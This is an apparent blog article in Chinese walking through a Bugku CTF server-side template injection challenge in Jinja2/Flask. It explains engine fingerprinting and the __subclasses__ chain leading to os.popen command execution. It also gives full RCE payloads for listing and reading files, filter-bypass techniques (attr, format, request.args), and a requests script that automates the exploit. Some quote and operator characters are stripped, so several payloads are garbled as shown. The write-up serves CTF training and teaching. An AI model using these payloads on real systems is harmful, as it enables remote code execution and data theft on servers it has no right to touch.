ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SSTI模板注入入门与实战:Bugku题目利用链与绕过技巧解析

SSTI模板注入入门与实战:Bugku题目利用链与绕过技巧解析 刚在Bugku刷题的时候碰上一道SSTI页面就是个输入框提示说输入id就能查询信息。我正常输了几个数字返回都很平静但当我随手输了个{{7*7}}页面直接报了个奇怪的错。那个报错信息里清清楚楚地列着jinja2.exceptions.TemplateSyntaxError我突然就笑了——这不就是模板注入嘛。后来完整走了一遍利用链从识别、构造payload到绕过过滤拿flag整个过程特别典型很适合拿来当SSTI入门到进阶的完整案例。这篇文章就把这道题的完整思路、踩过的坑和可复用的payload拆开讲清楚给正在刷Bugku、准备CTF比赛的朋友一个可以直接参考的实操指南。1. 内容整体设计与思路拆解1.1 SSTI到底是什么SSTI的全称是Server-Side Template Injection服务端模板注入。名字听着唬人但拆开看就三件事服务端、模板、注入。模板是为了把页面结构和动态数据分离。比如一个新闻网站页面框架长一个样但标题、正文内容每天不一样。开发人员写一个模板文件里面用占位符表示这里放标题“这里放正文”后端把真实数据填进去再渲染成完整HTML返回给浏览器。这就是模板引擎的工作方式常见的模板引擎有Python系的Jinja2、PHP系的Twig和Smarty、Java系的Freemarker和Velocity、Ruby系的ERB。模板注入能成立核心原因是一个设计原则的打破模板引擎出于灵活性允许在模板里写表达式甚至调用一些内建函数。如果用户输入直接拼进了模板内容而不是作为数据传给模板变量那用户输入就不再是数据而成了代码的一部分。这种场景在CTF里特别常见最容易出现的位置就是那种输入昵称生成个性页面“输入id查询信息”之类的功能点。报错信息是SSTI的第一个免费情报来源。我之前踩坑总结出来的经验是当你输入的内容触发了模板语法解析页面回显的异常包含了模板引擎的名字比如jinja2.exceptions.TemplateSyntaxError这就基本坐实了注入点。这就是题目里报错感觉好奇怪的来源——不是程序逻辑错了是输入被当成模板解析了。1.2 注入点是怎么产生的从代码层面看典型的漏洞写法长这样from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, guest) template fHello, {name}! # 直接把用户输入拼进模板字符串 return render_template_string(template)问题就出在最后一行。正常写法应该是return render_template_string(Hello, {{ name }}!, namename)第一种写法用户输入{{7*7}}模板内容就变成了Hello, {{7*7}}!Jinja2解析这个表达式结果就是Hello, 49!。第二种写法输入{{7*7}}只会被当成普通字符串显示出来完全无害。这就是SSTI和XSS的本质区别。XSS注入的是浏览器的DOMSSTI注入的是服务器端的模板解析器。XSS的载荷最多在用户浏览器里执行脚本SSTI的载荷有可能直接在服务器上执行系统命令危害等级完全不是一个量级。1.3 为什么推荐用Bugku这类靶场练手CTF和真实渗透有个很大的不同CTF给你的是一个已知存在漏洞的靶子你要做的是把漏洞利用完整走通真实渗透里你得先在海量代码里找出漏洞点。Bugku这类国内CTF练习平台的价值恰恰在于把后者省略掉让你专注练习前者。SSTI的利用链并不短识别模板引擎、确定注入点、找到可利用的内建对象、构造调用链、执行命令或读取文件。每一步都有单独的坑。如果从零开始去真实站点练光是确认漏洞就得花掉大半时间。在靶场里把这条链路走到肌肉记忆再去看真实的模板渲染场景一眼就能判断出哪里可能存在注入。Bugku的SSTI题目还有一个典型特征过滤规则没有那么死板更多考查的是基础利用链的完整性。这意味着初学者可以把全部精力放在理解Jinja2对象模型上不用一上来就跟各种花式过滤死磕。当你把基础链路吃透了再去碰那种过滤字母数字的变态题目才不至于手足无措——本质上无非是给已有的链路上的每个节点加一层编码或转换。2. 模板引擎的识别与基础探测2.1 三步快速识别模板引擎类型不同模板引擎的语法和可利用函数天差地别。Jinja2里能用的payload拿到Smarty里可能什么都执行不了Freemarker的利用套路跟Twig也完全不同。所以拿到一个疑似SSTI的注入点第一步永远不是直接上大payload而是先识别引擎类型。我习惯按三步走。第一步输入一个基础数学运算表达式比如{{7*7}}、${7*7}、% 7*7 %。哪个语法被正确解析并返回了49就说明模板引擎使用的是哪套语法。第二步输入一个字符串拼接表达式测试比如{{a~b}}Jinja2和Twig用~拼接、{{a|join(b)}}过滤器风格。这一步能进一步确认是Jinja2还是Twig。第三步故意输入一段语法错误的代码比如{{7*}}观察报错信息里泄露的引擎名称、文件路径和堆栈内容。第三步往往信息量最大。Jinja2源码里跑出来的异常会带jinja2.exceptions.TemplateSyntaxErrorTwig会带Twig\Error\SyntaxErrorSmarty的报错风格则完全不同。在Bugku那道题里我输入{{7*}}之后页面直接输出了完整TracebackFlask框架信息和Jinja2引擎信息一目了然。2.2 Jinja2基础语法速览Jinja2的语法核心就三类{{ ... }}用于输出表达式结果{% ... %}用于控制结构if、for、set等{# ... #}用于注释。SSTI利用里出场频率最高的是第一类其次偶尔用到第三类做调试。常见的可执行测试表达式包括表达式预期结果含义{{7*7}}49数学运算被解析执行{{a~b}}ab字符串拼接运算符~{{[1,2,3]}}[1, 2, 3]列表字面量{{ {a:1} }}{a: 1}字典字面量{{config}}配置对象Flask的config对象是否可访问{{ cycler.__init__.__globals__ }}全局函数字典利用链关键节点其中{{config}}在很多Flask应用里是最友好的验证点。Flask把应用配置暴露在模板上下文中如果能正常输出一堆配置项说明注入点对模板内建对象是开放的链路大概率能走通。2.3 从表达式到对象访问识别出Jinja2之后要思考的核心问题是一个模板表达式能触达哪些Python对象Jinja2表达式本身只能访问模板中传入的变量和少量内建对象看起来没什么利用空间。但Python对象模型有个特性任何一个对象都可以通过__class__拿到它的类再通过类的__mro__拿到继承链最终触达object基类从object的__subclasses__()方法可以枚举出当前进程中所有已加载的类。这就是SSTI利用链的地基。打个生活化的比方你被困在一个房间里模板上下文房间里只有一把椅子用户输入字符串。但椅子是通过工厂生产的工厂的图纸类能追溯到所有同工厂生产的东西基类的所有子类。只要你找到某个子类恰好是能开门的工具比如支持执行命令的类你就能打开门走出去。在Jinja2里这段链路长这样{{ .__class__.__mro__[1].__subclasses__() }}.__class__拿到str类str.__mro__得到(str, object)这样一个继承链[1]索引到的就是object基类__subclasses__()返回所有继承自object的类列表。这一步的输出会非常壮观——几百上千个类名哗啦啦铺满整个页面。这本身就是SSTI已被完全控制的最有力证据。3. 实操过程Bugku SSTI题目完整利用3.1 信息探测与手工验证回到Bugku那道题。拿到题目后输入框提示输入id即可查询到信息我先进了个1页面回显了正常的查询结果。接着输入1和1页面表现跟正常查询一样看起来不太像SQL注入。然后输入{{11}}页面上赫然出现了一个2。到这里SSTI的判断基本实锤了。我再输入{{7*7}}确认数学运算被模板解析返回49。接着输入{{config}}直接输出了Flask的配置对象说明模板上下文里暴露了config。这个结果意味着利用环境中没有对模板内建变量做显式过滤接下来可以直接走标准利用链。这里插一个经验手工验证的时候不要一上来就输那种几百字符的长payload。先把{{7*7}}、{{config}}这类短表达式试完确认注入点和引擎类型再逐步深化。这样每一步出错都能精准定位是识别环节出了岔子还是利用链本身有问题。3.2 构建完整的对象访问链接下来目标是找到可以执行命令的类。标准路径是先用__subclasses__()拿到全部类列表再从里面找warnings.catch_warnings。为什么偏爱这个类因为它在Python运行环境里几乎总是被加载且它的__init__.__globals__里直接暴露了__builtins__——这是Python内建函数的字典里面就有open和__import__这样的关键工具不需要额外引入模块。在Bugku题目的实际探测里我直接在浏览器里输入{{ .__class__.__mro__[2].__subclasses__() }}注意这里的索引我用的是[2]而不是[1]。原因很简单不同Python版本里str.__mro__的长度略有差异。Python2里str.__mro__可能是(str, object)Python3里常规也是两项但某些解释器环境下会多出中间层。所以拿到环境后先分别试[1]和[2]看哪个能返回完整的subclasses列表。在Bugku这道题的运行环境里[2]才指向object。返回列表之后用浏览器的页面搜索功能CtrlF搜catch_warnings记下它在这个列表里的索引位置。不同环境下这个索引号不固定所以每次都要重新数数。我在本地Python环境实测这个类往往排在150到250之间但不同的Flask版本、不同的依赖加载顺序都会改变索引。3.3 构造命令执行payload拿flag找到catch_warnings的下标后构造命令执行链路。Payload的核心逻辑是从catch_warnings.__init__.__globals__里捞出__builtins__再通过__import__导入os模块调用os.popen().read()执行系统命令。完整表达式如下假设catch_warnings的下标是156{{ .__class__.__mro__[2].__subclasses__()[156].__init__.__globals__[__builtins__][__import__](os).popen(ls).read() }}这串payload看着长但拆成几段就很好理解.__class__.__mro__[2].__subclasses__()[156] .__init__.__globals__[__builtins__] [__import__](os) .popen(ls).read()第一段定位到目标类第二段通过初始化方法的全局作用域拿到内建函数字典第三段用__import__动态导入os模块第四段执行命令并读取输出。整个过程就像拿到一把钥匙catch_warnings类用它打开了一扇门__globals__再从门后的工具箱里取出扳手os模块。在Bugku题目里ls列出的目录中直接看到了flag文件再执行{{ .__class__.__mro__[2].__subclasses__()[156].__init__.__globals__[__builtins__][__import__](os).popen(cat flag).read() }}flag到手。整个流程走下来从识别到拿flag不到十分钟。这个过程给我最大的感受是SSTI的利用并不需要什么玄学技巧它就是一条清晰的、可复盘的调用链只要环境允许链路的每一环都是确定性的。4. 过滤与绕过常见限制场景的实战对策4.1 常见的过滤手段分类刷题刷多了就会遇到各种加过滤的版本。常见的过滤策略大致可以分成三类过滤特定关键字、过滤特定字符、过滤所有字母数字。第一类最常见比如过滤__class__、过滤subclasses、过滤popen。这类过滤直接匹配关键词遇到就拦截。对策也直接字符串拼接、使用过滤器、使用request.args间接传参都能绕过去。第二类过滤特殊字符比如禁用单引号、双引号、中括号、下划线。这类比第一类麻烦因为如果不让用下划线__class__里的双下划线直接就没法写了。第三类最变态过滤所有字母和数字。你输入的任何英文字母都会被删掉或拦截常规payload完全没法写。但这种过滤下Jinja2仍然支持通过request.args等对象间接获取参数只要能把字母转换成非字母形式传进去。4.2 过滤中括号和下划线的绕过技巧先说最简单的场景过滤了[和]。Jinja2提供了attr过滤器可以把属性访问从obj[key]的语法转换成obj|attr(key)的形式。比如{{ |attr(__class__) }}等价于{{ .__class__ }}那么整条利用链可以改写成{{ |attr(__class__)|attr(__mro__)|attr(__getitem__)(2)|attr(__subclasses__)() }}注意这里__mro__返回元组元组的索引访问在Jinja2里也可以用|attr(__getitem__)(2)来取。对象的方法调用在attr过滤器后面加()就行。再说过滤下划线的情况。下划线主要是为了写双下划线包裹的魔术方法绕过思路包括用\x5f十六进制转义、用\137八进制转义、用unicode转义\u005f以及利用Jinja2的|format过滤器动态生成包含下划线的字符串。我用format过滤器的方案示例{{ {}%s{}|format(__,class__) }}这段能生成__class__。但这个payload里还有单引号和百分号如果这些也被过滤就得结合request.args来传。4.3 过滤字母数字的终极绕过方案过滤字母数字的题目最经典也是Bugku相关热词里明确出现过的一个考点。这类题的做法核心思路是用Jinja2允许的非字母数字方式搬运字母数字payload。Jinja2模板表达式的上下文里有几个对象是不需要字母就能访问的request对象是模板默认提供的request.args可以拿到URL查询参数。如果过滤规则只针对参数值本身那我可以把完整的payload放在URL的查询参数里模板里只写一个简短的取值表达式{{request.args.payload}}然后在URL里带上?payload完整的payload。如果连request这几个字母也被过滤就要进一步编码。常见的技巧是用()|attr配合dict的get方法把字符串拆成字符转义拼接。例如把字母数字全部转成十六进制字节串用Jinja2的|join和|format等过滤器在运行时拼出来。这类题目打得多了会发现自己对Jinja2过滤器函数的掌握程度明显上了一个台阶因为你被迫去理解每个过滤器到底在做什么、返回值是什么类型、能不能串联。我还试过一种组合方案用{{()|attr(request.args.a)}}这类形式把魔术方法的名字全部丢进URL参数模板里只保留固定骨架。这样即使在过滤极其严格的环境下也可以通过不断变换URL参数来测试不同的属性。4.4 效率工具与辅助技巧手工测试SSTI最大的痛点是subclasses列表很长每次都要手动搜索目标类并数索引。我的习惯是分两步操作先用注入点拿到subclasses列表的HTML源码存成文件再用本地Python脚本解析出类名和索引的对应关系直接生成完整的payload。import re import requests url http://target/ # 先注入拿到subclasses列表 r requests.get(url, params{id: {{.__class__.__mro__[2].__subclasses__()}}}) # 从响应里提取类名 classes re.findall(rclass\s(\w), r.text) for i, name in enumerate(classes): if catch_warnings in name: print(f[] catch_warnings index: {i}) payload f{{{{.__class__.__mro__[2].__subclasses__()[{i}].__init__.__globals__[__builtins__][__import__](os).popen(ls).read()}}}} r2 requests.get(url, params{id: payload}) print(r2.text) break这类脚本每次都能省下大把数索引的时间。另外Burp Suite的Intruder模块很适合批量测试不同的过滤绕过payload——把你脑海里积累的绕过方案整理成一个字典挨个打进去看响应差异很快就能定位到哪些字符被过滤、哪些过滤器被启用。像tplmap这类自动化工具也值得试但我的建议是工具只用来辅助验证主链路一定要能手写出来否则遇到魔改题目就傻了。5. 常见问题与排查技巧实录5.1 利用链不生效的几类原因刷SSTI题目最崩溃的时刻是payload在本地环境跑得通换到题目环境怎么都不出结果。根据我自己的打靶经验九成情况都逃不出下面这几类原因。第一类是索引对不上。__mro__[1]还是[2]、subclasses的索引是多少这些数字完全取决于目标环境的Python版本和依赖加载情况。解决方法是每次都在目标环境里先跑探测步骤不要拿本地环境的索引生搬硬套。第二类是Python版本差异导致的目标类不存在。warnings.catch_warnings在Python3的某些版本里初始化方式有变化__init__.__globals__可能取不到__builtins__。这时候可以换一个类来利用比如找os._wrap_close或者subprocess.Popen这类类直接索引到它们就能调用系统命令。第三类是模板上下文被限制了。有些Flask应用会设置较严格的模板环境内置的config、request等对象可能不可见但这不代表SSTI不可利用只是需要换一条对象访问链。比如通过self、cycler、joiner、namespace这些Jinja2自带的对象来起步。5.2 模板引擎识别错误的处理有时候页面半天不出结果不是利用链写错了而是从第一步就搞错了引擎类型。Smarty和Twig、Freemarker和Velocity这些引擎的外层语法相似度很高但内部函数模型差异巨大。在Smarty里{php}标签如果可用直接就能执行PHP代码在Twig里利用的是Filter类的getEnvironment方法Freemarker则是通过#assign标签配合?new()函数。一个有效的排查方法构造一段明显依赖某引擎特性的表达式。比如在Twig里{{[a,b]|join}}可以输出ab但Smarty不会支持这种写法。再比如${7*7}在Freemarker和Velocity里都会被解析但两者接下来的利用链完全不同。我在做题时一旦发现payload语法正确却不执行第一反应就是回到识别阶段重新确认引擎类型而不是在错误的链路上死磕。5.3 过滤规则探测与调试思路当怀疑有过滤时尽量不要瞎猜而是做一个系统的字符测试。我习惯用一组递增难度的测试请求每次只变化一个字符或单词观察响应是正常渲染、原样输出还是报错拦截测试输入观察重点{{7*7}}基础注入是否存在{{7*7}}引号是否被过滤{{}}双引号是否被过滤{{}}单引号是否被过滤{{config}}关键词config是否被过滤{{()}}括号是否被过滤{{1[0]}}中括号是否被过滤{{1attr(class)}}每一条的响应差异都能告诉你一类过滤规则是否存在。把这组测试的结果记录下来就等于给目标环境的过滤策略画了一张地图后续构造绕过方案就有了明确方向。另外响应包的状态码和内容长度差异也很关键。如果输入被拦截返回的往往是统一的重定向或提示页面内容长度几乎不变如果进入模板解析流程哪怕报错响应长度都会有明显变化。借助这个差异可以快速判断一次请求是否真正触达了模板渲染逻辑。5.4 SSTI题目排查速查表现象可能原因排查方向{{7*7}}无任何反应不是SSTI或注入点不在模板内容里换测试语法或换注入点{{7*}}没报错原样输出模板引擎未解析该语法识别引擎类型__subclasses__()为空目标Python版本不暴露该方法尝试__mro__其他位置目标类索引总是对不上环境依赖加载顺序不同用脚本自动提取索引__globals__里没有__builtins__特定Python版本差异换os._wrap_close等类过滤下划线关键字黑名单用attr、format、request.args过滤字母数字严格字符白名单request.args加编码拼接报错信息里有WAF特征存在Web防火墙尝试分块、编码、换参数名这张表是我刷完大量SSTI题目后的经验浓缩。实战里遇到问题先对号入座别急着盲目放大payload。5.5 一个容易忽略的细节命令回显位置在Bugku那道题里命令执行结果直接显示在模板输出位置这是最幸福的情况。但有些题目会把模板渲染结果再经过一层处理比如截断、转义或者限制输出长度导致flag只显示了一部分。遇到这种场景我的做法是用cut、head、tail分片读取文件或者用grep搜索特定目录减少输出量。读文件时试试cat /flag、cat /flag.txt、find / -name flag*这些常规路径CTF题目里flag文件位置和命名没有统一标准多试几次总有一个命中。另外一个细节是执行命令时最好加上21把标准错误也重定向到标准输出。很多命令报错信息里也藏着关键线索比如文件不存在时给出的路径提示往往暴露了当前工作目录的位置。结尾我在刷SSTI题目过程中的几点体会把这套流程在Bugku上完整走通之后我对模板注入的理解完全不一样了。以前总觉得SSTI是那种看payload像天书、CTF赛场上全靠背的技巧真正动手复现一遍才发现它背后的逻辑链条清晰得很模板语法把用户输入变成代码代码能访问Python对象模型对象模型里藏着通往系统命令的路径。每一步都有明确的目的不是玄学。最后分享一个我在实操中很受益的小习惯每次刷完一道SSTI题目我都会把最终可用的payload连同目标环境的Python版本、引擎版本、过滤规则一起记到笔记里并写一段注释说明每一步为什么要这么写。时间久了这个笔记就变成了自己的payload字典。再遇到新题目先查字典回忆通用链路再针对过滤规则做增量修改出题速度比从零开始想快得多。不管是Bugku里的入门题还是日后赛场上带过滤的魔改题这套方法论都能复用。
返回列表